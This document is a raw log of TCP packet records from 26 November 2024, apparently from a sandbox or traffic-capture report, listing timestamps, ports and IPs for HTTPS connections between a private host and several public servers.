Nov 26, 2024 06:40:37.731173038 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:38.093954086 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:38.094001055 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:38.094078064 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:38.094404936 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:38.094419003 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.033291101 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.033634901 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.033700943 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.034054041 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.034358978 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.034449100 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.034493923 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.075345039 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.083801031 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.352760077 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.353110075 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.353138924 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.353475094 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.353764057 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.353827000 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.353902102 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.354006052 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.354031086 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.354110003 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.354132891 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.501485109 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.501565933 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.501641035 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.502396107 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.502439022 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982609987 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982676983 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982714891 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982752085 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982759953 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.982794046 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982811928 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.982831955 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.982875109 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.982881069 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.993885040 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:39.993957043 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:39.993963003 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.002319098 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.002389908 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.002396107 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.043843985 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.102771044 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.124831915 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:40.124883890 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:40.124984980 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:40.125222921 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:40.125235081 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:40.155831099 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.155853033 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.187730074 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.187829971 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.187844992 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.197639942 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.197679043 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.197689056 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.197700024 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.197732925 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.205631971 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.205744982 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.205791950 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.205800056 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.205821991 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.205858946 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.206038952 CET	49749	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.206053019 CET	443	49749	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.209229946 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.209259987 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:40.209341049 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.209537029 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:40.209544897 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.513969898 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.514326096 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:41.514353991 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.514822960 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.515120983 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:41.515204906 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.515259981 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:41.559343100 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.861999989 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:41.862266064 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:41.862293959 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:41.862627983 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:41.862919092 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:41.862978935 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:41.904817104 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:41.974575996 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.974661112 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:41.974714994 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:41.975122929 CET	49751	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:41.975138903 CET	443	49751	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:43.138331890 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:43.138366938 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:43.138448000 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:43.138642073 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:43.138654947 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.454952955 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.455231905 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:44.455272913 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.455744028 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.456048012 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:44.456125021 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.456182957 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:44.456263065 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:44.456288099 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:44.456389904 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:44.456424952 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175365925 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175462008 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175502062 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175532103 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:45.175549984 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175563097 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175599098 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:45.175611973 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175654888 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:45.175667048 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175690889 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.175736904 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:45.176477909 CET	49752	443	192.168.2.16	104.18.95.41
Nov 26, 2024 06:40:45.176490068 CET	443	49752	104.18.95.41	192.168.2.16
Nov 26, 2024 06:40:45.320945024 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:45.320991039 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:45.321049929 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:45.321563959 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:45.321578026 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:45.617830038 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.617902994 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:45.618005037 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.618187904 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.618258953 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:45.618328094 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.618489027 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.618524075 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:45.618701935 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:45.618735075 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.578751087 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:46.580389023 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:46.580406904 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:46.580882072 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:46.581293106 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:46.581372976 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:46.581443071 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:46.627331018 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:46.881886959 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.882051945 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.882184982 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.882244110 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.882302999 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.882383108 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.883250952 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.883349895 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.883399010 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.883466959 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.884429932 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.884466887 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.884516001 CET	443	49755	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.884553909 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.884608984 CET	49755	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.884968042 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885009050 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.885063887 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885175943 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885219097 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885242939 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885250092 CET	443	49754	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.885313988 CET	49754	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885466099 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885504007 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.885560989 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885696888 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885715961 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:46.885847092 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:46.885860920 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:47.030570030 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:47.030670881 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:47.030740023 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:47.031445026 CET	49753	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:47.031462908 CET	443	49753	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:48.257179022 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.257529974 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.257536888 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.257571936 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.257742882 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.257761955 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.258629084 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.258708000 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.258956909 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.259017944 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.259695053 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.259779930 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.259867907 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.259922028 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.259960890 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.259968996 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.304862022 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.304871082 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.304903030 CET	443	49757	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:48.352832079 CET	49757	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:48.449151993 CET	49697	443	192.168.2.16	20.190.181.6
Nov 26, 2024 06:40:48.449219942 CET	49699	80	192.168.2.16	192.229.221.95
Nov 26, 2024 06:40:48.569539070 CET	443	49697	20.190.181.6	192.168.2.16
Nov 26, 2024 06:40:48.569614887 CET	49697	443	192.168.2.16	20.190.181.6
Nov 26, 2024 06:40:48.569938898 CET	80	49699	192.229.221.95	192.168.2.16
Nov 26, 2024 06:40:48.570024014 CET	49699	80	192.168.2.16	192.229.221.95
Nov 26, 2024 06:40:49.154105902 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.154185057 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.154220104 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.154242992 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.154242039 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.154269934 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.154284000 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.158050060 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.158118963 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.158126116 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.166497946 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.166609049 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.166615963 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.169480085 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.169548035 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.169554949 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.214855909 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.214864969 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.262866974 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.274256945 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.326853037 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.326864958 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.359405041 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.359452963 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.359462023 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.359514952 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.359560966 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.359571934 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.367254019 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.367305994 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.367316961 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.382659912 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.382718086 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.382724047 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.390438080 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.390472889 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.390485048 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.390491962 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.390535116 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.390541077 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.405904055 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.405935049 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.405955076 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.405962944 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.406007051 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.413803101 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.421472073 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.421526909 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.421535015 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.429260969 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.429316998 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.429323912 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.436943054 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.437021971 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.437028885 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.444612980 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.444668055 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.444675922 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.485851049 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.556967974 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.556982040 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.557126045 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.564347029 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.564356089 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.564423084 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.574105024 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.574112892 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.574189901 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.579277992 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.579284906 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.579360008 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.589207888 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.589217901 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.589310884 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.594027996 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.594110012 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.594115019 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.594153881 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.594155073 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.594197035 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.594398975 CET	49756	443	192.168.2.16	104.21.72.174
Nov 26, 2024 06:40:49.594412088 CET	443	49756	104.21.72.174	192.168.2.16
Nov 26, 2024 06:40:49.739484072 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:49.739531040 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:49.739608049 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:49.739778996 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:49.739793062 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.951723099 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.952023029 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:50.952039957 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.953006983 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.953093052 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:50.954008102 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:50.954066992 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.954185009 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:50.954191923 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:50.997847080 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.382074118 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382600069 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382667065 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.382684946 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382827997 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382863998 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382870913 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.382877111 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.382981062 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.390986919 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.399399996 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.399451971 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.399462938 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.407814026 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.407862902 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.407870054 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.461826086 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.461842060 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.509850979 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.509860992 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.555563927 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:51.555646896 CET	443	49750	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:51.555702925 CET	49750	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:51.557847023 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.574697971 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.578461885 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.578522921 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.578532934 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.584599018 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.584656000 CET	49758	443	192.168.2.16	151.101.2.137
Nov 26, 2024 06:40:51.584662914 CET	443	49758	151.101.2.137	192.168.2.16
Nov 26, 2024 06:40:51.592309952 CET	443	49758	151.101.2.137	192.168.2.16
